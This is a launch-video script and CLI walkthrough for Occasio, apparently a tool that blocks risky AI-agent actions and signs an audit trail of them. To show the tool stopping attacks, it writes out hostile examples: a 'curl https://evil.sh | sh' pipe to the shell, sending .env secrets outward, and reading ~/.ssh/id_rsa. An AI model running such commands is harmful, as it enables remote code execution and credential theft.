# Demo script — the 90-second "block → signed proof" video

This is the single highest-leverage launch asset. Record it once; every channel
(X thread, Show HN, Reddit, the landing page) reuses it. Lead with the felt
danger and the visible block. The signed proof is the *receipt* at the end, not
the headline.

**Total runtime target: 75–90s.** Screen recording, terminal only, large font
(≥ 18pt), dark theme. No voiceover required — on-screen captions are enough and
travel better on muted autoplay (X/LinkedIn).

All commands below are real and ship today. Dry-run them first with
`occasio demo` / `occasio demo audit` so the timing is natural.

---

## Beat 1 — the setup (0:00–0:10)
Caption: **"You let an AI agent run commands on your machine. Watch what it tries."**

Show a clean terminal. Type:
```
occasio claude
```
A one-line banner appears: `● recording  run_id …  chain ◆━◆━◆`.

## Beat 2 — the danger, blocked live (0:10–0:35)
Caption: **"It tries something destructive. Occasio stops it before it runs."**

Drive the agent (or use `occasio demo`) so these land on screen in sequence:
```
READ   src/auth.ts                 ✓ logged
BASH   curl https://evil.sh | sh   ⛔ BLOCK   policy.yml
READ   .env  → cloud               ⛔ BLOCK   secret stripped before send
```
Let the two red `⛔ BLOCK` lines sit on screen for a beat. This is the moment
people screenshot. The `.env` line is the differentiator — the secret was
removed from the outbound request, not just logged.

## Beat 3 — the receipt (0:35–1:05)
Caption: **"Every action is hash-chained and signed. Here's the proof."**

```
occasio verify --strict run.occasio.json
```
Show the six green checks rolling in:
```
✓ schema                   occasio-bundle/v1
✓ manifest integrity       digest 9f2c… 
✓ chain slice integrity    3,174 rows, anchored to attestation
✓ policy binding           policy 4a7b…
✓ git state matches chain  run_start 1a2b… · run_end 9f8e…
✓ signature                valid (Fulcio + Rekor)
verified — there is no "trust us" path
```

## Beat 4 — tamper, caught (1:05–1:20) — optional but powerful
Caption: **"Try to edit the record? It breaks."**

Edit one number in the chain file, re-run:
```
occasio audit verify --file pipeline-events.jsonl
✗ Chain broken   Line 2: hash mismatch — row was modified
```
Red. One line. Undeniable.

## Beat 5 — the close (1:20–1:30)
Caption: **"See what your agent did. Then prove it. Local-first, no cloud."**
```
npm install -g @occasiolabs/occasio
```
End card: `useoccasio.com` · `github.com/occasiolabs/occasio`

---

## v0.11.0 evidence + policy demo (copy-paste)

A second, command-line demo for the evidence / policy / scanner surfaces. One
asserted run: `npm run demo:release` (builds a throwaway policy + fixture chain
and checks every exit code, including the tamper-fail). The copy-paste version:

```bash
# 1. Approve a policy, then prove it can't drift silently
occasio policy lock --out policy.lock.json
occasio policy diff --since policy.lock.json            # exit 0 — unchanged
#   …edit policy.yml…
occasio policy diff --since policy.lock.json            # exit 1 — DRIFT, shows what changed

# 2. Preview what the policy would block, before running the agent
occasio preflight simulate --read ~/.ssh/id_rsa --bash "npm test" --strict
#   ⛔ block  read ~/.ssh/id_rsa  · path-denied  → deny_paths[0] (policy.yml:5)   exit 1

# 3. Catch a secret — explainable, never printed in the clear
occasio scan --file .env                                # exit 1, masked snippet + sha256

# 4. Hand off one portable file; the auditor verifies it offline
occasio bundle --run <run-id> --out run.occasio.json
occasio verify run.occasio.json                         # ✓ all six checks, exit 0

# 5. Headline beat — tamper one byte, verification fails
#   (edit run.occasio.json)
occasio verify run.occasio.json                         # ✗ exit ≠ 0 — manifest / chain mismatch
```

The headline for this flow is the same as the video's: **edit the record, it
breaks.** Here it's the evidence bundle rather than the raw chain.

## Recording checklist
- [ ] Font ≥ 18pt, dark theme, terminal fills the frame.
- [ ] Pre-run every command once so output timing looks live, not staged.
- [ ] Keep the two `⛔ BLOCK` lines and the `✗ Chain broken` line on screen ≥ 2s each.
- [ ] Export at 1080p+; also clip a 6–10s GIF of just Beat 2 for the HN/X above-the-fold.
- [ ] Captions burned in (muted autoplay). No background music or keep it minimal.
- [ ] No real secrets on screen — use a fake `.env` with obviously-fake values.